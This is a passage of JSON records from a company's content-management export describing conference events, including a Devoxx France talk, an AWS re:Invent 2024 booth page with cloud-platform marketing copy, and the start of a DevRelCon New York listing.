"}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-19T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.devoxx.fr/schedule/speaker-details/?id=18332","title":"Join"},"region":"EMEA","startDate":"2024-04-17T07:00:00.000Z","talks":[{"_key":"94b3b173db40","_type":"talk","description":[{"_key":"e292e4b82080","_type":"block","children":[{"_key":"459514582f7d0","_type":"span","marks":[],"text":"Notre conférence propose un voyage de DevOps à GitOps, puis à l'Ingénierie de Plateforme (Platform Engineering), détaillant chaque étape avec des définitions précises, des études de cas et des exemples concrets. Nous analyserons comment ces pratiques, en se connectant, améliorent le développement logiciel."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"fa04f858208e","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"Des silos au Platform Engineering en passant par le DevOps : adopter GitOps et aller au-delà de l’hype"}],"title":"Devoxx France","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-10-22T15:04:49Z","_id":"8e72e208-3650-44c8-aa04-20e050a553da","_rev":"XnxiJKnCTtm6dskwmsmJsP","_type":"event","_updatedAt":"2024-11-08T13:25:45Z","contentIsPage":true,"country":"US","description":[{"_key":"ad965e7c9d01","_type":"block","children":[{"_key":"8ca40a5b2dd50","_type":"span","marks":[],"text":"Meet the Aiven team at booth 1076 during AWS re:Invent 2024 and learn how our data and AI platform can help lower your cloud and infrastructure costs."}],"markDefs":[],"style":"normal"}],"endDate":"2024-12-05T02:00:00.000Z","linkTitle":"Meet with Aiven!","location":"The Venetian, Las Vegas","pageType":{"_type":"eventPage","content":[{"_key":"083becb32ac1","_type":"eventSessionList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"e3dd8f38f74c","_type":"eventSessionItem","avatars":[{"_key":"4ca82be933cd","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"description":[{"_key":"38b112efd6f3","_type":"block","children":[{"_key":"84cc45165ae90","_type":"span","marks":[],"text":"Vector similarity is fundamental for organizations looking to develop secure, cost-effective, and scalable AI solutions. Yet the inexact and complex nature of proximity search represents a risk for use cases, including regulated or sensitive data where precision in the retrieval is an absolute necessity. Hybrid search, available in several open source databases, is a powerful way to accelerate and refine the outcomes of standard vector search by balancing advanced text/field and similarity techniques. If you are considering AI for your business, this lightning talk provides an overview of the options available in open source for creating safe, accurate, and performant applications."}],"markDefs":[],"style":"normal"}],"time":"12pm PT","title":"Fast and secure AI context with open source hybrid vector search"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Lightning talks","title":"Join our speaking session","topOverlap":false},{"_key":"u8ewzrg8ce3b2cdd0vh12dg2fy4vukkr","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"id":"benefit","items":[{"_key":"b7rvvyhvfo5227x39ovoqqnmlkn8aadv","_type":"tabItem","content":[{"_key":"7tbgm9q5qcczhrxp5ztmahgobvqf9au2","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"ll7wc3tzidveg5b55p1bgnnq0pa502va","_type":"block","children":[{"_key":"pcheca9dsddh3kfe6rbs9wczzi7eox3p","_type":"span","marks":[],"text":"Multi-cloud solutions"}],"markDefs":[],"style":"h4"},{"_key":"7q93xxmvjz062qm3w692t6paayir9ur8","_type":"block","children":[{"_key":"o8b96gbsl4m4ttmxmyoqhtuv4ai3drs8","_type":"span","marks":[],"text":"Aiven's capability to deploy to any cloud empowers your organization with:"}],"markDefs":[],"style":"normal"},{"_key":"wy2bnqi6kzx1at2jmuk6e6ijtscwrgwm","_type":"block","children":[{"_key":"gaeulc7ey8ump81etsh17esreuyc29t3","_type":"span","marks":["strong"],"text":"Workload and Cost Optimization:"},{"_key":"zahwna73fyzonjxmp52bqj9mnbuye2v6","_type":"span","marks":[],"text":" Choose the ideal cloud provider for each task to maximize performance and cost-efficiency. Benefit from competitive pricing across different cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"faip3w3u4rxm8i14s36rj69quxpg2vgt","_type":"block","children":[{"_key":"wpirc3qo231jhxta72p2a728t7zxajtp","_type":"span","marks":["strong"],"text":"Risk Mitigation:"},{"_key":"a5seuky0ry30obz3q80x9xhbsmljgqdq","_type":"span","marks":[],"text":" Distribute data and applications across regions and providers for enhanced business continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"09rvh74s9vtpjwix4sfmbtfzbwdl2eum","_type":"block","children":[{"_key":"oux9mozr5l6morvimr44b5032qugcssd","_type":"span","marks":["strong"],"text":"Streamlined Operations:"},{"_key":"d9u79btc6bbdf1f4hruji804tj7tb16c","_type":"span","marks":[],"text":" Manage your data infrastructure on a centralized platform across multiple clouds to reduce complexity and ensure compliance with data residency regulations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"},{"_key":"qfz4p5i0zb5i8d40iyk5r50na9si3esh","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"j6mx1decz8diigadvck58ik77rcki642","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"jh0tmwupou60ib9o9x09xptugu8wl022","_type":"block","children":[{"_key":"e2mzhp7200qnk0wz4zg9vmjpgmli2vj5","_type":"span","marks":[],"text":"Deploy on your preferred cloud providers (AWS, Google Cloud, Microsoft Azure, etc.)."}],"markDefs":[],"style":"normal"}],"title":"Flexibility and Choice"},{"_key":"0h061qjnqzqkeyrdbgvntp5imd8w7jbm","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"opn5okm89rq4pqw67jpk0409u6gmondc","_type":"block","children":[{"_key":"x9i2253x3sb2a4wsreu2p1pysvuwig4g","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Performance Optimization"},{"_key":"c4otdu5wnsq0nxruzk69mc2omjk9wc0j","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"skgxtklg92z60q2198njlmbzx50wfsay","_type":"block","children":[{"_key":"watc6n0e1hlbfi6lvzqr2h9tf1xu4yf2","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Compliance"},{"_key":"36c6yzsjfqbev574105hqh0fxy85idrz","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e2smp2fou73rw3pog8mp1lxulsvkf9ei","_type":"block","children":[{"_key":"tgkcaouo179hmhkp9pqg7hlrn40kdfdj","_type":"span","marks":[],"text":"Benefit from competitive pricing across different cloud providers."}],"markDefs":[],"style":"normal"}],"title":"Cost Optimization"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false}],"id":"cloud-deployment","imageHeight":35,"title":"Deploy on any cloud"},{"_key":"050txbctbxo627y6azjtitcz5j2e3rz5","_type":"tabItem","content":[{"_key":"g63gs74dgj264najo6pszggdoc41de1a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"zuqo0p5r9g9ri2ei3tb5n08nzxawn8mx","_type":"block","children":[{"_key":"uyy0uuzst568a5gvu0hhw63mk9aavayw","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"h4"},{"_key":"7qtshhl4tzgeye9wmsf1ttp4s876hh4e","_type":"block","children":[{"_key":"1cndb24tzmcljtseyikufvsfiuqd4w00","_type":"span","marks":[],"text":"Aiven offers flexible deployment options for your data services, catering to various business needs and preferences. Choose the deployment model that best aligns with your organization's priorities, whether it's convenience, cost savings, or maximum control."}],"markDefs":[],"style":"normal"},{"_key":"lpjdqcjeteq97g13i6q732ob24h0v9vz","_type":"block","children":[{"_key":"1h4znu6nxi2jwjoa5h6bhj78372mfr1f","_type":"span","marks":["strong"],"text":"Aiven infrastructure:"},{"_key":"6i3juy43d67bpfghiuiiqhs2jbidb0kr","_type":"span","marks":[],"text":" A hassle-free solution where Aiven takes care of all cloud configurations, maintenance, and costs, allowing you to focus on your core business."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ze5pr4dr46rk1d4otlh6fcspu1a6bjp1","_type":"block","children":[{"_key":"hv5qk9v8084mjtfkvyobv4jj2rlq548o","_type":"span","marks":["strong"],"text":"Bring Your Own Cloud (BYOC):"},{"_key":"74ygwpxal9jmifqam2ta99r35zju4e71","_type":"span","marks":[],"text":" Deploy Aiven services directly to your existing cloud account giving you greater control over your data and infrastructure. BYOC allows you to:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1rmo27xydf95vbguluz0ra2f7elcgt6x","_type":"block","children":[{"_key":"hqwu7jg51ibsn752byukr2k6ff468s0a","_type":"span","marks":[],"text":"Leverage your existing cloud investments and negotiated discounts."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"nl7viidbqebh7vkgdrmfni7b4vhgifrd","_type":"block","children":[{"_key":"19q8dgm0gys04xe670wrrciguqvhwiha","_type":"span","marks":[],"text":"Maintain strict control over your data and comply with specific security or regulatory requirements."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bbldw05tm48nfm8k4mwt5r4h9bl70c2c","_type":"block","children":[{"_key":"ic0eba4f9e8m9tyz0jqjl6b5n2c672ou","_type":"span","marks":[],"text":"Customize your infrastructure to meet your unique needs."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"jqtsro5i8csw6tb7mje1wbps6n65xc7e","_type":"block","children":[{"_key":"3915iz49r59onhquw5mbczvb0thfgt5z","_type":"span","marks":[],"text":"Benefit from Aiven's expertise and support while retaining full control."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"byoc","imageHeight":35,"title":"Bring your own cloud"},{"_key":"14xk4v5ndknt3ivne5jn7pqkbneyxx2r","_type":"tabItem","content":[{"_key":"99yd8nutuwfqmkhp68ff7esl2j5vf2v6","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"7533b5h6uhltw5yz16twzb4pvbsmdosg","_type":"block","children":[{"_key":"ts3glbmxqyuf6l5499463tzq79lfhdg9","_type":"span","marks":[],"text":"Choice of integrated open source services"}],"markDefs":[],"style":"h4"},{"_key":"02wpdluer4e3okvk82pdme8slxq15k32","_type":"block","children":[{"_key":"ydqdnd2ay1nonsp8h5mwhx9188pu93ft","_type":"span","marks":[],"text":"Build with Aiven's popular data services that best fit your specific use cases to "},{"_key":"luf7axb3brxsroboyi0dtjdl1in8c72g","_type":"span","marks":["1fb1c803b1ba"],"text":"stream"},{"_key":"1m4z9cai4bku3i48g3oxyl617gibo1nw","_type":"span","marks":[],"text":", "},{"_key":"pt7dxhokhr1wbidnogxgwb0uy1c0oyoz","_type":"span","marks":["fb633db7c051"],"text":"store"},{"_key":"553qfobts282zmlla3p9pc0663kc859m","_type":"span","marks":[],"text":", and "},{"_key":"03qbtxbsginh80mgkqql6eqqz9kyddsz","_type":"span","marks":["02542751845d"],"text":"serve"},{"_key":"ankqy384qjgl6gnz40dq7988h2p6apu7","_type":"span","marks":[],"text":" data to your systems and applications. "}],"markDefs":[{"_key":"3v7r0qvuw9n6qddfyqgt495kf63kae8p","_type":"internalLink","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"}},{"_key":"jc5loe5fz17unaufep5zksfwd6k81vyo","_type":"internalLink","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"}},{"_key":"loncn6avuerlb41usrdvcsxzaoo6y6ax","_type":"internalLink","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"}}],"style":"normal"},{"_key":"lhih6oic87vtg8u6q55uphmnkt4cvbua","_type":"block","children":[{"_key":"3cq1roqap08we557mrfhz3q5gibu6a40","_type":"span","marks":["strong"],"text":"Build faster with skilled talent:"},{"_key":"0vopl3dvuqioo035xv8549gnghfa0tlc","_type":"span","marks":[],"text":" Gain access to the skills of a broad community of open source experts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6wnn7yk7ksn7o2y610pjdnwevnkjkbyh","_type":"block","children":[{"_key":"swmlffsj5lct4yaf1rni779sntudroh3","_type":"span","marks":["strong"],"text":"Innovation and Collaboration: "},{"_key":"4v07i19jx4rx6em01gvrs43q5qo00syt","_type":"span","marks":[],"text":"Benefit from open source's collaborative culture which accelerates the development of new features and improvements."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9tcy3d57jf6ms61vw6zdvnlnsso2krof","_type":"block","children":[{"_key":"aq95lzlxixkllf28an7udr9lwfdet50j","_type":"span","marks":["strong"],"text":"Security and Reliability: "},{"_key":"gsr5g7xsh5r0xipw8c3nl4qf6omund2y","_type":"span","marks":[],"text":"Improve security and reliability compared to proprietary software where the code is not publicly accessible. The open nature of open source ensures that many eyes are constantly reviewing and testing the code."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"open-choice","imageHeight":35,"title":"Open choice"},{"_key":"xqnqg7auso02gqi0fq8jlo7o9bdr8bqj","_type":"tabItem","content":[{"_key":"lm6f5mdmf0erm9cm62ox151ybwlhdsyr","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"f5svomdseifldjfzxqrhv1389djaa5o0","_type":"block","children":[{"_key":"19g2ipub4grlhzyewrm6gze8puobx0d8","_type":"span","marks":[],"text":"Cross-cloud and cross-region disaster recovery "}],"markDefs":[],"style":"h4"},{"_key":"japsg72nf0z45skfmgg6oxzeksy2iv0k","_type":"block","children":[{"_key":"la1v1egxd1m7zsbujcnai35xtvkhzaxb","_type":"span","marks":[],"text":"Aiven enables your data infrastructure to be highly available, reliable, and operational even in the face of disruptions or failures."}],"markDefs":[],"style":"normal"},{"_key":"v3za5ftl9ltogsx3bmooqnm0p7bwxqd9","_type":"block","children":[{"_key":"u3ofipub556dchuwjilb28r5ok8me3n7","_type":"span","marks":["strong"],"text":"High Availability:"},{"_key":"bx94cnqh4c5qhla6nghq0e6a8bllar09","_type":"span","marks":[],"text":" Leverage multiple availability zones, regions, and providers to ensure your data is replicated and distributed across different locations. If one location or provider experiences an outage, your services can seamlessly failover to another, minimizing downtime."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"sjsm7h6p3knse7lxqvaxnp8ti1tpfch7","_type":"block","children":[{"_key":"xnufld9a3bey5uzif8baf259xaf8bm4j","_type":"span","marks":["strong"],"text":"Automated Backups and Recovery:"},{"_key":"yw6t0qhgb0jo552q2nmvwmva8g0y0bgw","_type":"span","marks":[],"text":" Aiven automatically creates backups of your data at regular intervals. In case of data loss or corruption, you can easily restore your data from these backups, ensuring business continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"resiliency","imageHeight":35,"title":"Resiliency"},{"_key":"2yj9nz1zq4tbe7af3svw7zaaql2fnkvd","_type":"tabItem","content":[{"_key":"521lircr6inu11txbw616lmmfm8ep5f7","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"foisp3989ke4sg3lie6oxcsn15kpykov","_type":"block","children":[{"_key":"30pfbccf8f8u7e6yc540mbaxnb7zv2hf","_type":"span","marks":[],"text":"AI database optimization to boost efficiency"}],"markDefs":[],"style":"h4"},{"_key":"r6c6o43py02bks1h6gjj9sxagge7ca2x","_type":"block","children":[{"_key":"h2lptwugee2bkknbxvzc83sbx057dduo","_type":"span","marks":["3de402f4ed96"],"text":"Aiven's AI Database Optimizer"},{"_key":"6vsll1ha9pcpty7dsu9jbhipbcwhvvn9","_type":"span","marks":[],"text":" quickly helps your organization understand how to tune your PostgreSQL and MySQL queries to save your organization engineering time, and money on your database bills."}],"markDefs":[{"_key":"qczk7kito4n2bl98vtjrxjlv6i2tjsjo","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"vb34vsuyiwpsbb9yjb5se748gfxw4hxq","_type":"block","children":[{"_key":"us724tv14gpxos2yc178k5n7we41lopo","_type":"span","marks":["strong"],"text":"Accelerate development:"},{"_key":"ubmpkwnjn8zmn8iz3mp0k6vuenmyjuxd","_type":"span","marks":[],"text":" Receive AI-driven index and SQL rewrite suggestions in minutes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"h4iolgccs0aire0582aap0h5yrhpdlfh","_type":"block","children":[{"_key":"xgl60hp7hj6ibcggxhetwbspq2dlxwj1","_type":"span","marks":["strong"],"text":"Reduce incident resolution time:"},{"_key":"l0ye7hujhna3z1ul9u4msf7cx1z60y1z","_type":"span","marks":[],"text":" Gain real-time performance insights and optimization suggestions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fqsmpxdcpqyz51trjm4ritk9txzq1loy","_type":"block","children":[{"_key":"kfudkewyit0qn5rpbfpbnv0yotzbp1nd","_type":"span","marks":["strong"],"text":"Optimize before production:"},{"_key":"5xzkjns4vhk9pv7ofc98brm1mjqc4znb","_type":"span","marks":[],"text":" Ensure applications are performant and scalable before release."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"frim3czoxgak41td0c2ari3ng97efayp","_type":"block","children":[{"_key":"nrovi92ej29hapfd8af9ik3axs7nrc9w","_type":"span","marks":["strong"],"text":"Free up DBA resources:"},{"_key":"cuypm11dufwo8lkqxf4yq5fynpyj713m","_type":"span","marks":[],"text":" Allow DBAs to focus on high-value tasks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai","imageHeight":35,"title":"AI database optimization"}],"noSpaceBottom":true,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Benefits of Aiven Platform","topOverlap":false,"variant":"button-toggle"},{"_key":"346399997719","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":true,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"items":[{"_key":"71194a52c6a6","_ref":"40ucogkq98cnZ5c9nSHFIF","_type":"reference"},{"_key":"c4ea7388215f","_ref":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_type":"reference"},{"_key":"3558435060cb","_ref":"tVMArSxU5O2aohttt7Was","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded","showCompanyLogoAndTags":true,"title":"Organizations trust Aiven on AWS ","variant":"logo"},{"_key":"69f12487f7f9","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"2cc54700-0d3f-443a-9277-51ed0a3ae1c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"87531d2b4024cc3477329aceced2c12e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"84cc97bae5e3","_type":"block","children":[{"_key":"a6290c0b13da0","_type":"span","marks":[],"text":"Deploy Aiven for Apache Kafka, OpenSearch, Postgres, MySQL, Cassandra, Caching, and M3 on-premises, as well as in hybrid architectures, with a consistent operating model from on-premises to the cloud."}],"markDefs":[],"style":"normal"}],"title":"Aiven on AWS Outposts"},{"_key":"4e579e9137bd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"22c110c9b689","_type":"block","children":[{"_key":"a9c680977a970","_type":"span","marks":[],"text":"With Aiven for AI Vector Databases, power vector similarity search - the foundational data that drives GenAI and increases the relevance of search results and LLMs."}],"markDefs":[],"style":"normal"}],"title":"Your path to GenAI"},{"_key":"87c286237d3f6b3697260943cab4820d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1b9d74a0c689","_type":"block","children":[{"_key":"281215a456700","_type":"span","marks":[],"text":"Use an open source Observability stack to scale systems in real time."}],"markDefs":[],"style":"normal"}],"title":"Automated scaling"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"09e0a894-0d29-4a89-bc91-367650f4653b","_type":"reference"},"title":"Find out more about the Aiven and AWS partnership"},"roundedCorners":"rounded-none","title":"Build with Aiven on AWS"},{"_key":"b5fd1f78dd0d","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ab0f9c5b2eee1b2072700c7bd00733e1a8dd82bb-525x225-png","_type":"reference"}}},"disabled":true,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"4669c45f4bd8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b","title":"Learn more"},"roundedCorners":"rounded","subtitle":[{"_key":"c9ac496f1404","_type":"block","children":[{"_key":"bdd6ac0e42600","_type":"span","marks":[],"text":"Your one-stop shop for everything Aiven on AWS! Enjoy the best of Aiven and AWS through the marketplace. \n"}],"markDefs":[],"style":"normal"}],"title":"Available on AWS Marketplace","variant":"centerColumn"}],"eventDetails":[{"_key":"3722308110f3","_type":"block","children":[{"_key":"835340ded941","_type":"span","marks":[],"text":"Aiven is excited to attend and sponsor AWS re:Invent 2024! "}],"markDefs":[],"style":"normal"},{"_key":"96a8a160b2e0","_type":"block","children":[{"_key":"10ce5c8ae36c","_type":"span","marks":[],"text":"Visit "},{"_key":"96ab276eb363","_type":"span","marks":["strong"],"text":"booth 1076"},{"_key":"ca7d925e5416","_type":"span","marks":[],"text":" to discuss:"}],"markDefs":[],"style":"normal"},{"_key":"11997fdac2d2","_type":"block","children":[{"_key":"599928773e220","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven (available on AWS Marketplace)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd1702651c87","_type":"block","children":[{"_key":"c22b78708fca0","_type":"span","marks":[],"text":"Quickly provision data infrastructure needed for your Gen AI use case"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"382c1340c145","_type":"block","children":[{"_key":"af95d7b0b0290","_type":"span","marks":[],"text":"Build a resilient cloud architecture strategy that meets your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"10:00-18:00 PT","eventTitle":"AWS re:Invent 2024","iframeForm":{"iframeHeader":"Discuss AI, LLMs, cloud migrations and more! ","iframeHeight":900,"iframeSource":"https://go.aiven.io/l/890043/2024-10-22/vln1h"},"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"partnersImage":{"_type":"mainImage","alt":"Logo Aiven at AWS re:Invent 2024","asset":{"_ref":"image-801962d394cc3bde0846d298e23b28d9924bb1db-1453x319-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","experienceId":"experience-1706626524327","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aws-reinvent-2023","title":"Register"},"region":"AMER","seo":{"_type":"metaData","metaDescription":"Meet with Aiven at booth 1076 during AWS re:Invent 2024 and learn how our data and AI platform can help lower your cloud and infrastructure costs.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7a6eb9a07152982b5a8e7897297726aec9d0f55e-1200x630-png","_type":"reference"}},"metaTitle":"AWS re:Invent 2024"},"slug":{"_type":"slug","current":"/events/aws-reinvent-2024"},"startDate":"2024-12-02T18:00:00.000Z","title":"AWS re:Invent 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-05-01T15:20:15Z","_id":"453acd03-2b2e-45f2-91f9-c44ee0f71fa0","_rev":"lI1OMJNS7f9WP80VhhixFg","_type":"event","_updatedAt":"2024-05-01T16:02:24Z","contentIsPage":false,"country":"US","description":[{"_key":"a562b4f14a8b","_type":"block","children":[{"_key":"0f792744153c","_type":"span","marks":[],"text":"Going to DevRelCon this July? Make sure to catch Matty Stratton's session \"The DevRel Guide to Serious Business\". Floor Drees will be one of the people running the unconference. "}],"markDefs":[],"style":"normal"}],"endDate":"2024-07-19T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"New York","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://nyc24.devrelcon.dev/","title":"Register"},"region":"AMER","startDate":"2024-07-18T07:00:00.000Z","talks":[{"_key":"8d273c77009f","_type":"talk","description":[{"_key":"d38a76760d93","_type":"block","children":[{"_key":"8937a452ab520","_type":"span","marks":[],"text":"This talk will equip you with the essential business knowledge to effectively bridge the gap between technical expertise and business strategy. We will dig into the fundamentals of marketing, sales, finance, and operations, all tailored specifically for the DevRel context. You will learn to speak the language of business, align your activities with company objectives, and measure the impact of your initiatives in terms that resonate with stakeholders, thereby enhancing both developer satisfaction and company 